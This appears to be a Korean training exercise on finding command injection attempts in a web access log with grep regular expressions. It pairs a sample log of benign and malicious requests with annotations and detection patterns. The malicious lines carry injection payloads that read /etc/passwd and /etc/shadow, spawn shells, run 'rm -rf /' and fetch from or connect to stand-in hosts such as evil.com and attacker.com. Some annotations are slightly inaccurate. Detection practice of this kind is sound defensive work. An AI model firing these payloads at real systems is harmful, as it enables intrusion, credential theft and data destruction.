웹 로그 기반 명령 줄 주입(Command Injection) 탐지 정규표현식 로직

Plaintext

192.168.0.1 - - [10/Jan/2026:14:00:01] "GET /index.php HTTP/1.1" 200 1024 "-" "Mozilla/5.0"

10.10.10.1 - - [10/Jan/2026:14:00:05] "GET /about.html HTTP/1.1" 200 512 "-" "Mozilla/5.0"

192.168.0.5 - - [10/Jan/2026:14:00:10] "GET /images/logo.png HTTP/1.1" 200 20480 "-" "Mozilla/5.0"

172.16.10.1 - - [10/Jan/2026:14:00:15] "GET /login.php HTTP/1.1" 200 1500 "-" "Mozilla/5.0"

111.111.111.111 - - [10/Jan/2026:14:01:05] "GET /ping.php?addr=127.0.0.1;cat%20/etc/passwd HTTP/1.1" 200 512 "-" "Mozilla/5.0"

192.168.0.2 - - [10/Jan/2026:14:01:10] "GET /search?q=cat+food HTTP/1.1" 200 500 "-" "Mozilla/5.0"

192.168.0.3 - - [10/Jan/2026:14:01:15] "GET /search?q=notebook;mouse HTTP/1.1" 200 521 "-" "Mozilla/5.0"

222.222.222.222 - - [10/Jan/2026:14:02:10] "GET /board/view?id=500|nc%20192.168.100.100%201234 HTTP/1.1" 500 124 "-" "Python-urllib/3.8"

192.168.0.4 - - [10/Jan/2026:14:02:15] "GET /shop/list?category=shoes|clothes HTTP/1.1" 200 1500 "-" "Mozilla/5.0"

192.168.0.5 - - [10/Jan/2026:14:02:20] "GET /download/wget-manual.pdf HTTP/1.1" 200 35000 "-" "Mozilla/5.0"

133.133.133.133 - - [10/Jan/2026:14:03:00] "GET /calc.php?value=$(whoami) HTTP/1.1" 403 201 "-" "curl/7.68.0"

192.168.0.6 - - [10/Jan/2026:14:03:05] "GET /api/price?val=$100 HTTP/1.1" 200 3000 "-" "Mozilla/5.0"

192.168.0.7 - - [10/Jan/2026:14:03:10] "GET /assets/jquery.min.js HTTP/1.1" 200 50000 "-" "Mozilla/5.0"

224.224.234.253 - - [10/Jan/2026:14:04:00] "GET /mypage?name=%3Bcat%20/etc/shadow HTTP/1.1" 200 512 "-" "Mozilla/5.0"

192.168.0.8 - - [10/Jan/2026:14:04:05] "GET /search?q=User[1] HTTP/1.1" 200 100 "-" "Mozilla/5.0"

192.168.0.9 - - [10/Jan/2026:14:04:10] "GET /board/view?id=100&page=1 HTTP/1.1" 200 3000 "-" "Mozilla/5.0"

124.1.1.213 - - [10/Jan/2026:14:05:00] "GET /cmd.php?cmd=%7C%20/bin/sh HTTP/1.1" 200 1024 "-" "Mozilla/5.0"

192.168.0.10 - - [10/Jan/2026:14:05:05] "GET /blog/post.php?tag=c++ HTTP/1.1" 200 3000 "-" "Mozilla/5.0"

192.168.0.11 - - [10/Jan/2026:14:05:10] "GET /help/faq.html HTTP/1.1" 200 1024 "-" "Mozilla/5.0"

152.142.16.66 - - [10/Jan/2026:14:06:00] "GET /ping.php?ip=127.0.0.1%3Bwget%20http://evil.com/shell.php HTTP/1.1" 200 100 "-" "Mozilla/5.0"

192.168.0.12 - - [10/Jan/2026:14:06:05] "GET /images/cat_picture.jpg HTTP/1.1" 200 20480 "-" "Mozilla/5.0"

192.168.0.13 - - [10/Jan/2026:14:06:10] "GET /manual/nc_guide.html HTTP/1.1" 200 1500 "-" "Mozilla/5.0"

177.177.177.177 - - [10/Jan/2026:14:07:00] "GET /admin?user=%24%7Bwhoami%7D HTTP/1.1" 200 512 "-" "Mozilla/5.0"

192.168.0.14 - - [10/Jan/2026:14:07:05] "GET /api/v1/users?id=1|2|3 HTTP/1.1" 200 1024 "-" "Mozilla/5.0"

192.168.0.15 - - [10/Jan/2026:14:07:10] "GET /js/script.js?v=1.0; HTTP/1.1" 200 3000 "-" "Mozilla/5.0"

188.188.188.188 - - [10/Jan/2026:14:08:00] "GET /input?data=%3B%20ls%20-al HTTP/1.1" 200 100 "-" "Mozilla/5.0"

192.168.0.16 - - [10/Jan/2026:14:08:05] "GET /search?q=hello%20world HTTP/1.1" 200 500 "-" "Mozilla/5.0"

192.168.0.17 - - [10/Jan/2026:14:08:10] "GET /login.do;jsessionid=ABC1234 HTTP/1.1" 200 512 "-" "Mozilla/5.0"

199.199.199.199 - - [10/Jan/2026:14:09:00] "GET /check?host=localhost%7Ccurl%20http://attacker.com HTTP/1.1" 200 124 "-" "curl/7.68.0"

192.168.0.18 - - [10/Jan/2026:14:09:05] "GET /product/view?id=100$200 HTTP/1.1" 200 3000 "-" "Mozilla/5.0"

192.168.0.19 - - [10/Jan/2026:14:09:10] "GET /download/report.pdf HTTP/1.1" 200 50000 "-" "Mozilla/5.0"

123.123.123.123 - - [10/Jan/2026:14:10:00] "GET /test.php?cmd=%24(id) HTTP/1.1" 200 100 "-" "Mozilla/5.0"

192.168.0.20 - - [10/Jan/2026:14:10:05] "GET /images/banner.gif HTTP/1.1" 200 10240 "-" "Mozilla/5.0"

192.168.0.21 - - [10/Jan/2026:14:10:10] "GET /contact.html HTTP/1.1" 200 512 "-" "Mozilla/5.0"

234.234.234.234 - - [10/Jan/2026:14:11:00] "GET /api?q=1%3B%20/bin/cat%20/etc/passwd HTTP/1.1" 200 512 "-" "Mozilla/5.0"

192.168.0.22 - - [10/Jan/2026:14:11:05] "GET /search?q=100%25 HTTP/1.1" 200 500 "-" "Mozilla/5.0"

192.168.0.23 - - [10/Jan/2026:14:11:10] "GET /board/list HTTP/1.1" 200 3000 "-" "Mozilla/5.0"

245.245.245.245 - - [10/Jan/2026:14:12:00] "GET /shell?cmd=%7Cwhoami HTTP/1.1" 200 100 "-" "Mozilla/5.0"

192.168.0.24 - - [10/Jan/2026:14:12:05] "GET /robots.txt HTTP/1.1" 200 100 "-" "Mozilla/5.0"

192.168.0.25 - - [10/Jan/2026:14:12:10] "GET /sitemap.xml HTTP/1.1" 200 5000 "-" "Mozilla/5.0"

156.252.156.156 - - [10/Jan/2026:14:13:00] "GET /run?exec=%60id%60 HTTP/1.1" 200 100 "-" "Mozilla/5.0"

192.168.0.26 - - [10/Jan/2026:14:13:05] "GET /news/index.html HTTP/1.1" 200 1024 "-" "Mozilla/5.0"

192.168.0.27 - - [10/Jan/2026:14:13:10] "GET /weather?city=Seoul HTTP/1.1" 200 500 "-" "Mozilla/5.0"

227.227.227.27 - - [10/Jan/2026:14:14:00] "GET /debug?val=%26%26%20cat%20/etc/hosts HTTP/1.1" 200 512 "-" "Mozilla/5.0"

192.168.0.28 - - [10/Jan/2026:14:14:05] "GET /info.php HTTP/1.1" 200 100 "-" "Mozilla/5.0"

192.168.0.29 - - [10/Jan/2026:14:14:10] "GET /status HTTP/1.1" 200 100 "-" "Mozilla/5.0"

178.178.178.178 - - [10/Jan/2026:14:15:00] "GET /login?user=admin%27%20or%201=1-- HTTP/1.1" 200 1000 "-" "SQLMap/1.4"

192.168.0.30 - - [10/Jan/2026:14:15:05] "GET /main.css HTTP/1.1" 200 2048 "-" "Mozilla/5.0"

192.168.0.31 - - [10/Jan/2026:14:15:10] "GET /app.js HTTP/1.1" 200 5000 "-" "Mozilla/5.0"

189.189.189.189 - - [10/Jan/2026:14:16:00] "GET /api/check?id=1;%20/bin/rm%20-rf%20/ HTTP/1.1" 200 100 "-" "Mozilla/5.0"

 

 

분석 목표 (Mission)

이 로그 파일에서 진짜 공격자 IP만 추출하기

1. 세미콜론(;, %3B) 공격: 단순 검색어나 jsessionid는 제외하고, 뒤에 cat, ls, wget, rm 같은 명령어가 오는 것.
2. 파이프(|, %7C) 공격: shoes|clothes 같은 단순 나열은 제외하고, 뒤에 nc, curl, whoami, /bin/sh 등이 오는 것.
3. 달러($, %24) 공격: $100(금액)은 제외하고, $(...) 또는 ${...} 형태로 명령어 실행을 시도하는 것.

 

인코딩 공격도 중요하나 절대 경로 명령어도 유의할 것.

%7C : |

%20 : space

%3B : ;

%7B ; {

%7D : }

%24 : $

%60 : &

 

5 : cat%20/etc/passwd

8 : nc%20192.168.100.100

11 : calc.php?value=$(whoami)

14 : cat%20/etc/shadow

17 : cmd=%7C%20/bin/sh [당장은 문제가 없어도, 공격 의도로 파악 가능]

20 : wget%20http://evil.com/shell.php [wget https 형식은 위험]

23 : user=%24%7Bwhoami%7D [리눅스에서는 무시되나 자바/파이썬/php 등의 템플릿에서는 ${...}가 코드 실행이라는 의미로 쓰임 혹은 (의 오타로 탐지

26 : input?data=%3B%20ls%20-al

29 : check?host=localhost%7Ccurl%20http://attacker.com

32 : GET /test.php?cmd=%24(id) HTTP/1.1" 200 100 [리눅스 쉘은 일단 괄호 안의 값을 실행하기에 echo를 안 붙여도 처음 값이 에러로 출력]

35 : GET /api?q=1%3B%20/bin/cat%20/etc/passwd HTTP/1.1" 200 512

38 : GET /shell?cmd=%7Cwhoami HTTP/1.1

41 : GET /run?exec=%60id%60 HTTP/1.1

44 : /debug?val=%25%25%20cat%20etc/hosts HTTP/1.1

        -  : ;cat    /etc/passwd

50 : /api/check?id=1;%20/bin/rm%20-rf%20/ HTTP/1.1

 

로직 취합

grep -E 'whoami' access.log

grep -E '(cat|nc|ls|curl|wget)( |%20){1,}' access.log

grep -E '(%7C|%3B|%26|%24|[\`\$\(\)\|\;&]){1,}( |%20|/)*bin' access.log

grep -E 'cmd=(\$|%24)' access.log

 

grep -E 'whoami|(cat|nc|ls|curl|wget)( |%20){1,}|cmd=(\$|%24)|(%7C|%3B|%26|%24|[\`\$\(\)\|\;&]){1,}( |%20|/)*bin' access.log